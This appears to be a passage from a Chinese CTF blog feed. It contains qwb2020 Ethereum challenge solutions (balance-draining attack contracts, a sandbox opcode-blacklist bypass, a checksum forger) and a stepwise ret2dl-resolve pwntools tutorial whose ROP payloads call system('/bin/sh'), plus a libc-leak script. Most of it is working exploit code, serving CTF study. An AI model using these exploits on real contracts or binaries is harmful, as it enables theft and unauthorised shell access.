'0000000000000000000000000000000000000000000000000000000000000008'data += '696c6f7665717762000000000000000000000000000000000000000000000000'data += '0000000000000000000000000000000000000000000000000740'data += '000000000000000000000000882DfFd71DFb9A8f0E5985207587ebd77611A9f3'data += '0000'def do_callme(public): txn = { 'from': Web3.toChecksumAddress(public), 'to': Web3.toChecksumAddress(contract_address), 'gasPrice': w3.eth.gasPrice, 'gas': 8000000, 'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)), 'value': Web3.toWei(1, 'ether'), 'data': data, } signed_txn = w3.eth.account.signTransaction(txn, private) txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex() txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash) print("txn_hash=", txn_hash) return txn_receiptprint(do_callme(public)) EasyAssembly 题目思路来自于 rw2019 考点有两个: 在合约字节码后进行 padding 不会影响合约的部署 create2 创建地址的方式 Source123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108pragma solidity ^0.5.10;contract EasyAssembly { event SendFlag(address addr); uint randomNumber = 0; bytes32 private constant ownerslot = keccak256('Welcome to qwb!!! You will find this so easy ~ Happy happy :D'); bytes32[] public puzzle; uint count = 0; mapping(address=>bytes32) WinChecksum; constructor() public payable { setAddress(ownerslot, msg.sender); } modifier onlyWin(bytes memory code) { require(WinChecksum[msg.sender] != 0); bytes32 tmp = keccak256(abi.encodePacked(code)); address target; assembly { let t1,t2,t3 t1 := and(tmp, 0xffffffffffffffff) t2 := and(shr(0x40,tmp), 0xffffffffffffffff) t3 := and(shr(0x80,tmp), 0xffffffff) target := xor(mul(xor(mul(t3, 0x10000000000000000), t2), 0x10000000000000000), t1) } require(address(target)==msg.sender); _; } function setAddress(bytes32 _slot, address _address) internal { bytes32 s = _slot; assembly { sstore(s, _address) } } function deploy(bytes memory code) internal returns(address addr) { assembly { addr := create2(0, add(code, 0x20), mload(code), 0x1234) if eq(extcodesize(addr), 0) { revert(0, 0) } } } function gift() public payable { require(count == 0); count += 1; if(msg.value >= address(this).balance){ emit SendFlag(msg.sender); }else{ selfdestruct(msg.sender); } } function pass(uint idx, bytes memory bytecode) public { address addr = deploy(bytecode); bytes32 cs = tag(bytecode); bytes32 tmp = keccak256(abi.encodePacked(uint(1))); uint32 v; bool flag = false; assembly { let v1,v2 v := sload(add(tmp, idx)) if gt(v, sload(0)){ v1 := and(add(and(v,0xffffffff), and(shr(0x20,v), 0xffffffff)), 0xffffffff) v2 := and(add(xor(and(shr(0x40,v), 0xffffffff), and(shr(0x60,v), 0xffffffff)), and(shr(0x80,v),0xffffffff)), 0xffffffff) if eq(xor(mul(v2,0x100000000), v1), cs){ flag := 1 } } } if(flag){ WinChecksum[addr] = cs; }else{ WinChecksum[addr] = bytes32(0); } } function tag(bytes memory a) pure public returns(bytes32 cs) { assembly{ let groupsize := 16 let head := add(a,groupsize) let tail := add(head, mload(a)) let t1 := 0x13145210 let t2 := 0x80238023 let m1,m2,m3,m4,s,tmp for { let i := head } lt(i, tail) { i := add(i, groupsize) } { s := 0x59129121 tmp := mload(i) m1 := and(tmp,0xffffffff) m2 := and(shr(0x20,tmp),0xffffffff) m3 := and(shr(0x40,tmp),0xffffffff) m4 := and(shr(0x60,tmp),0xffffffff) for { let j := 0 } lt(j, 0x4) { j := add(j, 1) } { s := and(mul(s, 2),0xffffffff) t2 := and(add(t1, xor(sub(mul(t1, 0x10), m1),xor(add(t1, s),add(div(t1,0x20), m2)))), 0xffffffff) t1 := and(add(t2, xor(add(mul(t2, 0x10), m3),xor(add(t2, s),sub(div(t2,0x20), m4)))), 0xffffffff) } } cs := xor(mul(t1,0x100000000),t2) } } function payforflag(bytes memory code) public onlyWin(code) { emit SendFlag(msg.sender); selfdestruct(msg.sender); }} Analyse tag 是对字节码进行编码得到 cs,pass 是对 cs 进行校验,可以分析发现是对 owner 进行相关计算,对其结果记为 target,即 cs经过校验后等于 target 攻击合约hack,获取bytecode 12345678contract hack { address instance_address = 0xbA2e98a2795c193F58C8CE1287fDA28e089c313a ; EasyAssembly target = EasyAssembly(instance_address); function hack1(bytes memory code) public { target.payforflag(code); }} 正常情况下,对合约字节码进行编码后正好等于特定某个值的几率几乎为 0 ,所以需要另想办法,这里用到考点一,合约字节码后进行 padding 不会影响合约的部署 使用 tag 计算攻击合约 hack 字节码的 cs ,然后我们计算需要 padding 的字节 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253from z3 import *def find(last, target): t1, t2 = int(last[:8], 16), int(last[8:], 16) tar1, tar2 = int(target[:8], 16), int(target[8:], 16) s = 0x59129121 s = BitVecVal(s, 256) m1 = BitVec('m1', 256) m2 = BitVec('m2', 256) m3 = BitVec('m3', 256) m4 = BitVec('m4', 256) for j in range(4): s = (s + s) & 0xffffffff p1 = (t1<<4) - m1 p2 = t1 + s p3 = (t1>>5) + m2 t2 = (t1 + (p1^(p2^p3))) & 0xffffffff p1 = (t2<<4) + m3 p2 = t2 + s p3 = (t2>>5) - m4 t1 = (t2 + (p1^(p2^p3))) & 0xffffffff sol = Solver() sol.add(And(t1 == tar1, t2 == tar2)) if sol.check(): m = sol.model() m_l = map(lambda x: m[x].as_long(), [m4, m3, m2, m1]) pad = 0 for x in m_l: pad <<= 0x20 pad |= x return hex(pad)[2:].zfill(32) else: raise Exception('No solution')def cal_target(address): a = address & 0xffffffff b = address>>0x20 & 0xffffffff c = address>>0x40 & 0xffffffff d = address>>0x60 & 0xffffffff e = address>>0x80 & 0xffffffff v1 = (a+b) & 0xffffffff v2 = ((c ^ d) + e) & 0xffffffff target = v2<<0x20 | v1 print hex(target) return hex(target)address = 0x000000000000000000000000082d1deb3d08277650966471756b06fead5cb43flast = "a7f27fea495824ae"target = cal_target(address)[2:]print find(last, target) 调用 pass ,其中 idx 为 owner 所在的 slot 与 puzzle 数组数据起始位置的差值,是个固定值17666428025195830108258939064971598484477117555719083663154155265588858226250 ,bytecode 是进行 padding 之后的字节码(这里需要注意字节码 16 字节对齐) 调用 hack 攻击合约的 hack1 即可,这里的 code 是 create2() 中的参数,可通过下述脚本计算,code 就是脚本中的 s Create2 : keccak256(0xff ++ deployingAddr ++ salt ++ keccak256(bytecode))[12:] 1234567891011121314from web3 import Web3def bytesToHexString(bs): return ''.join(['%02X' % b for b in bs])bytecode = '0x608060405273ba2e98a2795c193f58c8ce1287fda28e089c313a6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156100c657600080fd5b50610248806100d66000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063489dc88514610030575b600080fd5b6100e96004803603602081101561004657600080fd5b810190808035906020019064010000000081111561006357600080fd5b82018360208201111561007557600080fd5b8035906020019184600183028401116401000000008311171561009757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506100eb565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1662a9a87e82306040518363ffffffff1660e01b815260040180806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818151815260200191508051906020019080838360005b838110156101ab578082015181840152602081019050610190565b50505050905090810190601f1680156101d85780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b1580156101f857600080fd5b505af115801561020c573d6000803e3d6000fd5b505050505056fea265627a7a72315820fc052defd6381390e09fa96b74c0f55872043fcede05171fb78f3c814d755fe664736f6c6343000511003200007197d58f43114ce23d95b93f9df2bb08'a = '0xff' # 1 byteb = 'bA2e98a2795c193F58C8CE1287fDA28e089c313a' # b: deploy address 20 bytesc = '0'*60 + '1234' # c: seed 32 bytesd = bytesToHexString(Web3.sha3(hexstr=bytecode)) # deploy bytecode 32 bytess = a+b+c+dprint(s)address = '0x' + bytesToHexString(Web3.sha3(hexstr=s))[24:]print(address) EasySandboxSource1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859pragma solidity ^0.5.10;contract EasySandbox { uint256[] public writes; mapping(address => address[]) public sons; address public owner; uint randomNumber = 0; constructor() public payable { owner = msg.sender; sons[msg.sender].push(msg.sender); writes.length -= 1; } function given_gift(uint256 _what, uint256 _where) public { if(_where != 0xd6f21326ab749d5729fcba5677c79037b459436ab7bff709c9d06ce9f10c1a9f) { writes[_where] = _what; } } function easy_sandbox(address _addr) public payable { require(sons[owner][0] == owner); require(writes.length != 0); bool mark = false; for(uint256 i = 0; i < sons[owner].length; i++) { if(msg.sender == sons[owner][i]) { mark = true; } } require(mark); uint256 size; bytes memory code; assembly { size := extcodesize(_addr) code := mload(0x40) mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f)))) mstore(code, size) extcodecopy(_addr, add(code, 0x20), 0, size) } for(uint256 i = 0; i < code.length; i++) { require(code[i] != 0xf0); // CREATE require(code[i] != 0xf1); // CALL require(code[i] != 0xf2); // CALLCODE require(code[i] != 0xf4); // DELEGATECALL require(code[i] != 0xfa); // STATICCALL require(code[i] != 0xff); // SELFDESTRUCT } bool success; bytes memory _; (success, _) = _addr.delegatecall(""); require(success); require(writes.length == 0); require(sons[owner].length == 1 && sons[owner][0] == tx.origin); }} Analyse 题目逆向还是有难度的,后来直接给了源码 考点有三个: 考察对动态数组、map类型数据的存储规则计算 考察对 EVM 执行的理解 考察 create2 可以看到主体函数就两个 given_gift 任意写 easy_sandbox 过滤了 f0、f1、f2、f4、fa、ff 这些字节,如果站在操作码层次,这些字节对应操作码分别是 create、call、callcode、delegatecall、staticcall、selfdestruct,相当于这些操作码都不能使用,如果想要清空合约余额的话,只能使用 create2 创建一个类似转账的合约 Exp1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495pragma solidity ^0.5.10;contract EasySandbox { function given_gift(uint256 _what, uint256 _where) public {} function easy_sandbox(address _addr) public payable {}}/*owner 0x3d16CAAf6E5C0bB28787F38Aba430E17F301e737tx.origin 0x1e7AEf620B2ad727193DD1B2ADda7f1e535CbfB3pos1 = kec(owner | 1) = 0xfabdb57a8705ecba0fd43952ffce712af6481580f284fb255bc099ff824b60a8pos2 = kec(kec(owner | 1)) = 0x5db10778892cc9518ed72a1672706295f104d0e8fde9e79a67c38a7cf69a5399sstore(pos1, 1) 60017f8abdb57a8705ecba0fd439528fce712af64815808284fb255bc09988824b60a87f70000000000000000000000070000000000000007000000000000077000000000155[1] PUSH1 0x01[34] PUSH32 0x8abdb57a8705ecba0fd439528fce712af64815808284fb255bc09988824b60a8[67] PUSH32 0x7000000000000000000000007000000000000000700000000000007700000000[68] ADD[69] SSTOREsstore(0, 0) 60008055[1] PUSH1 0x00[2] DUP1[3] SSTOREsstore(pos2, tx.origin) 327f30000000000000000000000000000000050000000000000000000000000000007f8db10778892cc9518ed72a1672706295f604d0e8fde9e79a67c38a7cf69a53990355[0] ORIGIN[33] PUSH32 0x3000000000000000000000000000000005000000000000000000000000000000[66] PUSH32 0x8db10778892cc9518ed72a1672706295f604d0e8fde9e79a67c38a7cf69a5399[67] SUB[68] SSTOREcreate2 SELFDESTRUCT 6132fe6001013452346004601c3031f5[2] PUSH2 0x32fe[4] PUSH1 0x01[5] ADD[6] CALLVALUE[7] MSTORE[8] CALLVALUE[10] PUSH1 0x04[12] PUSH1 0x1c[13] ADDRESS[14] BALANCE[15] CREATE2*/contract pikachu { constructor() public payable { assembly { mstore(0x00, 0x60017f8abdb57a8705ecba0fd439528fce712af64815808284fb255bc0998882) mstore(0x20, 0x4b60a87f70000000000000000000000070000000000000007000000000000077) mstore(0x40, 0x00000000015560008055327f3000000000000000000000000000000005000000) mstore(0x60, 0x0000000000000000000000007f8db10778892cc9518ed72a1672706295f604d0) mstore(0x80, 0xe8fde9e79a67c38a7cf69a539903556132fe6001013452346004601c3031f500) return(0x00, 0xa0) } }}contract Hack { EasySandbox private constant target = EasySandbox(0xde07f6D17206CdC4f2Af94ad9e6324544a70a360); constructor() public payable { bool result; // modify kec(owner | 1) = 2 (result, ) = address(target).call(abi.encodeWithSelector( 0x5e08b9d5, 2, uint(0xfabdb57a8705ecba0fd43952ffce712af6481580f284fb255bc099ff824b60a8-0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563) )); require(result); // modify kec(kec(owner | 1)) + 1 = msg.sender (result, ) = address(target).call(abi.encodeWithSelector( 0x5e08b9d5, uint(address(this)), uint(0x5db10778892cc9518ed72a1672706295f104d0e8fde9e79a67c38a7cf69a5399-0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563+1) )); require(result); // writes.length == 0 // sons[owner].length == 1 && sons[owner][0] == tx.origin // empty balance pikachu hack = new pikachu(); (result, ) = address(target).call(abi.encodeWithSelector( 0xc94103b1, hack )); require(result); }} 具体过程都在上面 exp 的注释里面 需要注意的是: 由于 sandbox 禁止的是特定的字节,而不是特定的操作码,这意味着在上下文中也禁止这些字节,所以我们的 code 要使用字节码编写 若在攻击字节码中出现了 sandbox 中的黑名单字节,我们需要使用巧妙的方式去绕过它]]></content>
<categories>
<category>qwb2020</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>qwb2020</tag>
</tags>
</entry>
<entry>
<title><![CDATA[一步一步构建 dl-runtime-resolve]]></title>
<url>%2F2020%2Fstepbystep-dl-runtime-resolve%2F</url>
<content type="text"><![CDATA[前言 一步一步构建 dl-runtime-resolve,详细理解其解析过程 参考 http://pwn4.fun/2016/11/09/Return-to-dl-resolve/ 参考 https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/ elf 文件链接 https://github.com/hitcxy/pwn-challenges/tree/master/study 漏洞利用方式 控制 eip 为 PLT[0] 的地址,只需传递一个 index_arg 参数 控制 index_arg 的大小,使 reloc 的位置落在可控地址内 伪造 reloc 的内容,使 sym 落在可控地址内 伪造 sym 的内容,使 name 落在可控地址内 伪造 name 为任意库函数,如 system stage1 先把栈迁移到 bss 上,并返回 write@plt 1234567891011121314151617181920212223242526272829303132333435363738394041424344#coding=utf-8#!/usr/bin/pythonfrom pwn import *elf = ELF('./main')offset = 112read_plt = elf.plt['read']write_plt = elf.plt['write']ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"pop_ebp_ret = 0x0804861bleave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"stack_size = 0x800bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"base_stage = bss_addr + stack_sizer = process('./main')r.recvuntil('Welcome to XDCTF2015~!\n')payload = 'A' * offsetpayload += p32(read_plt) # 读100个字节到base_stagepayload += p32(ppp_ret)payload += p32(0)payload += p32(base_stage)payload += p32(100)payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中payload += p32(base_stage)payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stager.sendline(payload)cmd = "/bin/sh"payload2 = 'AAAA' # 接上一个payload的leave->pop ebp ; retpayload2 += p32(write_plt)payload2 += 'AAAA'payload2 += p32(1)payload2 += p32(base_stage + 80)payload2 += p32(len(cmd))payload2 += 'A' * (80 - len(payload2))payload2 += cmd + '\x00'payload2 += 'A' * (100 - len(payload2))r.sendline(payload2)r.interactive() stage2 控制 eip 返回 PLT[0] ,要带上 write 的 index_offset 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647#coding=utf-8#!/usr/bin/pythonfrom pwn import *elf = ELF('./main')offset = 112read_plt = elf.plt['read']write_plt = elf.plt['write']ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"pop_ebp_ret = 0x0804861bleave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"stack_size = 0x800bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"base_stage = bss_addr + stack_sizer = process('./main')r.recvuntil('Welcome to XDCTF2015~!\n')payload = 'A' * offsetpayload += p32(read_plt) # 读100个字节到base_stagepayload += p32(ppp_ret)payload += p32(0)payload += p32(base_stage)payload += p32(100)payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中payload += p32(base_stage)payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stager.sendline(payload)cmd = "/bin/sh"plt_0 = 0x08048380 # objdump -d -j .plt bofindex_offset = 0x20 # write's indexpayload2 = 'AAAA'payload2 += p32(plt_0)payload2 += p32(index_offset)payload2 += 'AAAA'payload2 += p32(1)payload2 += p32(base_stage + 80)payload2 += p32(len(cmd))payload2 += 'A' * (80 - len(payload2))payload2 += cmd + '\x00'payload2 += 'A' * (100 - len(payload2))r.sendline(payload2)r.interactive() stage3 控制 index_offset ,使其指向我们构造的 fake_reloc 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152#coding=utf-8#!/usr/bin/pythonfrom pwn import *elf = ELF('./main')offset = 112read_plt = elf.plt['read']write_plt = elf.plt['write']ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"pop_ebp_ret = 0x0804861bleave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"stack_size = 0x800bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"base_stage = bss_addr + stack_sizer = process('./main')r.recvuntil('Welcome to XDCTF2015~!\n')payload = 'A' * offsetpayload += p32(read_plt) # 读100个字节到base_stagepayload += p32(ppp_ret)payload += p32(0)payload += p32(base_stage)payload += p32(100)payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中payload += p32(base_stage)payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stager.sendline(payload)cmd = "/bin/sh"plt_0 = 0x08048380 # objdump -d -j .plt bofrel_plt = 0x08048330 # objdump -s -j .rel.plt bofindex_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc,减去rel_plt即偏移write_got = elf.got['write']r_info = 0x607 # write: Elf32_Rel->r_infofake_reloc = p32(write_got) + p32(r_info)payload2 = 'AAAA'payload2 += p32(plt_0)payload2 += p32(index_offset)payload2 += 'AAAA'payload2 += p32(1)payload2 += p32(base_stage + 80)payload2 += p32(len(cmd))payload2 += fake_reloc # (base_stage+28)的位置payload2 += 'A' * (80 - len(payload2))payload2 += cmd + '\x00'payload2 += 'A' * (100 - len(payload2))r.sendline(payload2)r.interactive() stage4 这次构造 fake_sym ,使其指向我们控制的 st_name 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162#coding=utf-8#!/usr/bin/pythonfrom pwn import *elf = ELF('./main')offset = 112read_plt = elf.plt['read']write_plt = elf.plt['write']ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"pop_ebp_ret = 0x0804861bleave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"stack_size = 0x800bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"base_stage = bss_addr + stack_sizer = process('./main')r.recvuntil('Welcome to XDCTF2015~!\n')payload = 'A' * offsetpayload += p32(read_plt) # 读100个字节到base_stagepayload += p32(ppp_ret)payload += p32(0)payload += p32(base_stage)payload += p32(100)payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中payload += p32(base_stage)payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stager.sendline(payload)cmd = "/bin/sh"plt_0 = 0x08048380rel_plt = 0x08048330index_offset = (base_stage + 28) - rel_pltwrite_got = elf.got['write']dynsym = 0x080481d8dynstr = 0x08048278fake_sym_addr = base_stage + 36align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小fake_sym_addr = fake_sym_addr + alignindex_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号r_info = (index_dynsym << 8) | 0x7fake_reloc = p32(write_got) + p32(r_info)st_name = 0x4cfake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)payload2 = 'AAAA'payload2 += p32(plt_0)payload2 += p32(index_offset)payload2 += 'AAAA'payload2 += p32(1)payload2 += p32(base_stage + 80)payload2 += p32(len(cmd))payload2 += fake_reloc # (base_stage+28)的位置payload2 += 'B' * alignpayload2 += fake_sym # (base_stage+36)的位置payload2 += 'A' * (80 - len(payload2))payload2 += cmd + '\x00'payload2 += 'A' * (100 - len(payload2))r.sendline(payload2)r.interactive() stage5 把 st_name 指向输入的字符串 "write" 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263#coding=utf-8#!/usr/bin/pythonfrom pwn import *elf = ELF('./main')offset = 112read_plt = elf.plt['read']write_plt = elf.plt['write']ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"pop_ebp_ret = 0x0804861bleave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"stack_size = 0x800bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"base_stage = bss_addr + stack_sizer = process('./main')r.recvuntil('Welcome to XDCTF2015~!\n')payload = 'A' * offsetpayload += p32(read_plt) # 读100个字节到base_stagepayload += p32(ppp_ret)payload += p32(0)payload += p32(base_stage)payload += p32(100)payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中payload += p32(base_stage)payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stager.sendline(payload)cmd = "/bin/sh"plt_0 = 0x08048380rel_plt = 0x08048330index_offset = (base_stage + 28) - rel_pltwrite_got = elf.got['write']dynsym = 0x080481d8dynstr = 0x08048278fake_sym_addr = base_stage + 36align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)fake_sym_addr = fake_sym_addr + alignindex_dynsym = (fake_sym_addr - dynsym) / 0x10r_info = (index_dynsym << 8) | 0x7fake_reloc = p32(write_got) + p32(r_info)st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)payload2 = 'AAAA'payload2 += p32(plt_0)payload2 += p32(index_offset)payload2 += 'AAAA'payload2 += p32(1)payload2 += p32(base_stage + 80)payload2 += p32(len(cmd))payload2 += fake_reloc # (base_stage+28)的位置payload2 += 'B' * alignpayload2 += fake_sym # (base_stage+36)的位置payload2 += "write\x00"payload2 += 'A' * (80 - len(payload2))payload2 += cmd + '\x00'payload2 += 'A' * (100 - len(payload2))r.sendline(payload2)r.interactive() stage6 替换 write 为 system ,并修改 system 的参数 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263#coding=utf-8#!/usr/bin/pythonfrom pwn import *elf = ELF('./main')offset = 112read_plt = elf.plt['read']write_plt = elf.plt['write']ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"pop_ebp_ret = 0x0804861bleave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"stack_size = 0x800bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"base_stage = bss_addr + stack_sizer = process('./main')r.recvuntil('Welcome to XDCTF2015~!\n')payload = 'A' * offsetpayload += p32(read_plt) # 读100个字节到base_stagepayload += p32(ppp_ret)payload += p32(0)payload += p32(base_stage)payload += p32(100)payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中payload += p32(base_stage)payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stager.sendline(payload)cmd = "/bin/sh"plt_0 = 0x08048380rel_plt = 0x08048330index_offset = (base_stage + 28) - rel_pltwrite_got = elf.got['write']dynsym = 0x080481d8dynstr = 0x08048278fake_sym_addr = base_stage + 36align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)fake_sym_addr = fake_sym_addr + alignindex_dynsym = (fake_sym_addr - dynsym) / 0x10r_info = (index_dynsym << 8) | 0x7fake_reloc = p32(write_got) + p32(r_info)st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)payload2 = 'AAAA'payload2 += p32(plt_0)payload2 += p32(index_offset)payload2 += 'AAAA'payload2 += p32(base_stage + 80)payload2 += 'B' * 4payload2 += 'B' * 4payload2 += fake_reloc # (base_stage+28)的位置payload2 += 'B' * alignpayload2 += fake_sym # (base_stage+36)的位置payload2 += "system\x00"payload2 += 'A' * (80 - len(payload2))payload2 += cmd + '\x00'payload2 += 'A' * (100 - len(payload2))r.sendline(payload2)r.interactive()]]></content>
<categories>
<category>pwn</category>
</categories>
<tags>
<tag>pwn</tag>
</tags>
</entry>
<entry>
<title><![CDATA[dl-runtime-resolve]]></title>
<url>%2F2020%2Fdl-runtime-resolve%2F</url>
<content type="text"><![CDATA[前言 在Linux中如果程序想要调用其它动态链接库的函数,必须要在程序加载的时候动态链接;在一个程序运行过程中,可能很多函数在程序执行完时都不会用到,比如一些错误处理函数或者一些用户很少用到的功能模块,所以ELF采用一种叫做延迟绑定(Lazy Binding)的做法,基本思想就是当函数第一次被调用的时候才进行绑定(符号查找、重定位等);而在Linux中是利用_dl_runtime_resolve(link_map_obj, reloc_index)函数来对动态链接的函数进行重定位的。 _dl_runtime_resolve函数具体运行模式 首先用link_map访问.dynamic,分别取出.dynstr、.dynsym、.rel.plt的地址 .rel.plt+参数reloc_index,求出当前函数的重定位表项Elf32_Rel的指针,记作rel rel->r_info >> 8 作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym .dynstr + sym->st_name得出符号名 字符串指针 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表 最后调用这个函数 以puts为例追踪一下ELF文件libc函数解析过程call puts@plt si进入call puts@plt 因为会jmp dword ptr [0x804a00c],所以查看一下0x804a00c的内容,存放的是0x080482e6地址,其中0x080482e6是puts@plt第二条指令的地址,即puts@got中初始存放puts@plt的第二条指令地址 jmp 0x80482d0 其中ds:0x804a008存放的是_dl_runtime_resolve的地址 这样的话,加上之前的push 0,就push了两个参数,这两个参数刚好是_dl_runtime_resolve(link_map_obj, reloc_index)需要的参数,其中0x804a004就是link_map指针,0就是reloc_index 12push 0push dword ptr [0x804a004] 那么我们看看通过这两个参数是如何找到puts函数的呢 首先找到link_map的地址 然后通过link_map找到.dynamic的地址,其中第三个地址就是.dynamic的地址,即0x8049f14 然后通过.dynamic来找到.dynstr、.dynsym、.rel.plt的地址.dynamic的地址加8*8+4=0x44的位置是.dynstr:[0x08049f14+0x44]=[0x08049f58],即0x0804821c.dynamic的地址加8*9+4=0x4c的位置是.dynsym:[0x08049f14+0x4c]=[0x08049f60],即0x080481cc.dynamic的地址加8*16+4=0x84的位置是.rel.plt:[0x08049f14+0x84]=[0x08049f98],即0x08048298 然后用.rel.plt的地址加上参数reloc_index,即0x8048298+0=0x8048298找到函数的重定位表项Elf32_Rel的指针,记作rel 这里rel为0x8048298,所以 12r_offset = 0x804a00cr_info = 107h 通过Elf32_rel结构的r_info >> 8 = 107h >> 8 = 1 作为.dynsym中的下标 查看0x80481dc内存,找到puts在.dynstr表项索引为0x1a,所以st_name的地址为0x804821c+0x1a=0x8048236 最后在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表就可以了 利用思路 事实上,虚拟地址是从st_name得来的,只要我们能够修改这个st_name的内容就可以执行任意函数,比如把st_name的内容修改为"system" reloc_index即参数n是我们可以控制的,我们需要做的事通过一系列操作,把reloc_index可控转化为st_name可控;我们需要在一个可写地址上构造一系列伪结构就可以完成利用或在条件允许的情况下直接修改.dynstr 所以我们需要在程序中找一段空间start出来,放我们直接构造的fake_dynsym,fake_dynstr和fake_rel_plt等,然后利用栈迁移到手法将栈转移到start 计算reloc_index relic_index = fake_rel_plt_addr - 0x804833c 计算r_info r_info的计算方法有两个步骤 x = (欲伪造的地址 - .dynsym基地址)/ 0x10 r_info = x << 8 | 0x7 计算st_name st_name = fake_dynstr_addr - 0x804827c 例子(这里有XDCTF2015的 pwn200) 方法一 直接使用 write 泄漏 libc ,然后执行 system('/bin/sh') 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081from pwn import *local=1pc='./main'aslr=Truecontext.log_level=True#context.terminal = ["deepin-terminal","-x","sh","-c"]libc=ELF('./libc6_2.27-3ubuntu1.2_i386.so')pwn200=ELF('./main')if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc,aslr=aslr) #gdb.attach(p,'c')else: remote_addr=['111.198.29.45', 39802] p=remote(remote_addr[0],remote_addr[1])ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x ,drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a,b)sla = lambda a,b : p.sendlineafter(a,b)pi = lambda : p.interactive()def dbg(b =""): gdb.attach(p , b) raw_input()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8,'\x00')) else: return u64(rl().strip('\n').ljust(8,'\x00'))if __name__ == '__main__': write_plt = pwn200.plt['write'] lg('write_plt', write_plt) write_got = pwn200.got['write'] lg('write_got', write_got) start_addr = pwn200.symbols['_start'] lg('start_addr', start_addr) ru("Welcome to XDCTF2015~!\n") payload = 'a'*0x6c payload += 'b'*4 payload += p32(write_plt) payload += p32(start_addr) payload += p32(1) payload += p32(write_got) payload += p32(4) sl(payload) write_addr = u32(rv(4)) lg('write_addr', write_addr) libc_base = write_addr - libc.symbols['write'] system_addr = libc_base + libc.symbols['system'] 